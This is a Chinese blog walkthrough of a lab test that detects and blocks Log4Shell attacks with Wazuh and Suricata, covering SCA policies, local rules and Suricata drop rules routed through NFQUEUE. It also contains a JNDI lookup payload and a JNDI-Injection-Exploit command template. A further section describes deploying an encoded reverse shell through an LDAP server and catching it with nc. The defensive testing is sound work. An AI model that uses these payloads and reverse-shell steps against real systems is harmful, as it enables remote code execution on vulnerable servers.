基于Log4j供应链攻击检测能力--wazuh联动suricata测试

注:仅供交流学习使用,请勿用于非法用途

一、测试条件

1. 安装和配置wazuh

1.1安装wazuh:按照官方文档指导在你的系统上安装wazuh。它是一个功能强大且高度灵活的开源安全平台,旨在为企业和组织提供全面的威胁预防和检测能力。

1.2安装Wazuh代理:在需要监控的设备上安装Wazuh代理。这些设备可以包括但不限于服务器、工作站和其他重要资产。

2. 安装和部署suricata和java

2.1配置相关环境:在渗透虚机上部署suricata,java等相关环境。

2.2定义安全策略:利用Wazuh和suricata的规则库来进行定义合适的安全策略,以检测可能存在的Log4j漏洞。

3. 测试环境

Log4j供应链攻击方案和计划虽然是一个可控范围的攻击,但建议还是尽可能在本地断网测试。

 
  • 二、测试信息

攻击机

192.168.31.29

利用相关shell

Wazuh

192.168.31.218

配置安全策略

Ubuntu

192.168.31.9

配置相关环境

  • 三、部署wazuh服务器

  • 四、Ubuntu上部署安装suricata

  • 五、Ubuntu中suricata项目联动wazuh服务器

1、在suricata部署wazuh

在wazuh服务器的wazuh网站上点击这里

点击deploy生成

填写相关数据,分组我默认defalut

2、切换到ubuntu主机编辑文档使得suricata数据能够正确传输给wazuh

打开/var/ossec/etc/ossec.conf文件并加入以下内容:

3、重启wazuh.agent服务即可

  • 六、Ubuntu部署相关环境

1、部署java环境

Ubuntu部署安装java环境,后续复现需要java环境,我这里部署的是java8版本

安装完后通过java -version来查看是否成功安装java

2、部署maven

通过apt部署安装maven

安装部署成功后通过mvn -v来查看是否成功安装

3、通过Maven来部署log4项目

用相关指令生成一个your-app-name的java项目在当前目录下

切换到项目中修改pom.xml来修改依赖项目,我设置的是log4j2.14.1版本

然后通过maven来安装相关log4j环境依赖

4、部署apache2

安装部署apache2来实现一个web项目

安装部署后游览器访问http://localhost如下

后续通过java来部署项目上线web即可

  • 七、Wazuh联动suricata监测log4j测试

1、更新suricata的规则库

更新默认规则库

下载相关的et规则库后解压到/etc/suricata/ruls中,并设置权限

修改/etc/suricata/suricata.yaml下rule-files使其适配所有我们刚下载解压的et规则库

2、简单测试是否已经成功匹配新的规则库并联动wazuh

我这边利用主机进行不间断连ping,能在wazuh获取到了来自suricata提示的告警

3、测试log4j攻击

Log4j低版本漏洞原理:

因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。

  • 1、攻击者向存在风险的接口发送恶意payload:${jndi:ldap://localhost:9999/Test}被攻击服务器接收到该内容后,通过Logj42工具将其解析。

  • 2、此时Log4j2会解析${},读取出其中的内容。判断其为Ldap实现的JNDI。于是调用Java底层的Lookup方法,尝试完成Ldap的Lookup操作,请求Ldap服务器,获取到Ldap协议数据。

  • 3、Ldap会返回一个Codebase告诉客户端,需要从该Codebase去获取其需要的Class数据。请求Ldap中返回的Codebase路径,去Codebase下载对应的Class文件,并通过类加载器将其加载为Class类。

  • 4、若在Codebase中下载的Class文件为恶意文件,就将会在本地加载和实例化使用这个恶意文件,从而造成严重危害

先简单通过构造包含已知 Log4Shell 模式的网络请求来测试

能看到wazuh服务器上传来的关于suricata对于log4j的恶意网络请求

具体相关信息,目前实测利用suricata和wazuh检测log4j rec攻击成功

使用JNDI注入攻击进行渗透测试,代码用法

Java -jar JNDI-Injetction-Exploit-1.0-SNAPSHOT-all.jar -C ”想要执行的命令” “攻击者ip”

将反弹shell进行编码后获得

然后对代码替换成payload,填上相关信息,利用JNDI工具把反弹shell部署在LADP服务器上

开启nc监听对应端口

利用构造的payload进行反弹shell发现链接成功

  • 八、Wazuh监测log4j版本以及独立监测log4j攻击

1、wazuh服务器中编写SCA策略文件来达到检测log4j版本效果

在/var/ossec/etc/shared/default/log4j_check.yml 创建一个新的策略文件

检测规则代码如下

然后修改一下权限,不推荐默认777,实际实操上按具体来

在 /var/ossec/etc/shared/default/agent.conf 中添加了 SCA 模块,以在属于 default 组的 Wazuh 代理上启用新策略

  

为了使新设置生效,我们重启了 Wazuh 代理。

现在可以在SCA下发现系统拥有低于2.16版本的log4j

具体相关信息

2、wazuh服务器中编写规则到达到检测log4j版本效果

在 Wazuh 服务器的 /var/ossec/etc/rules/local_rules.xml 文件中添加了以下规则

为了启用web日志数据收集,修改/var/ossec/etc/shared/default/agent.conf内容参数如下

最后重新启动一下管理器来应用这个规则

通过构造包含已知 Log4Shell 模式的网络请求来测试

在wazuh服务器网站上能观察到事件

相关详细信息

  • 九、利用suricata来进行防御log4j攻击

输入suricata --build-info来确认suricata是否安装成功并支持NFQueue板块

切换到我们下载的规则中查看/etc/suricata/rules中对其中的ET-huting.rule规则进行分析,分析中可看到在这规则是tcp通过特征匹配jndi来产生一份alert的警告

将规则中所有的关于log4j相关的规则提取复制出来,粘贴到剪切板中并修改相关内容,将alert警告规则修改为drop,在msg中修改相关信息方便看出区别,sid值进行修改,使sid为独立,注sid的最大值4294967295

在/etc/suricata/rules新建一个rules文件,并将上述规则粘贴入内然后保存即可。

Iptables是linux内核集成的ip信息包过滤功能,在这里我们设置iptables流量传输。

这几条策略的意思:

1:开放一条22端口的入口流量不经过suricata

2-3:将80端口的进口流量和出口流量交给suricata的模块NFAQUEUE处理

4-5:将3306端口的进口流量和出口流量交给suricata的模块NFAQUEUE处理

最后再将设置的iptables展示,展示效果如图

开启启动suricata

然后开启log4j攻击,能发现开启了规则后即可阻拦匹配规则库中的攻击

监听中也并没有收到回响

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值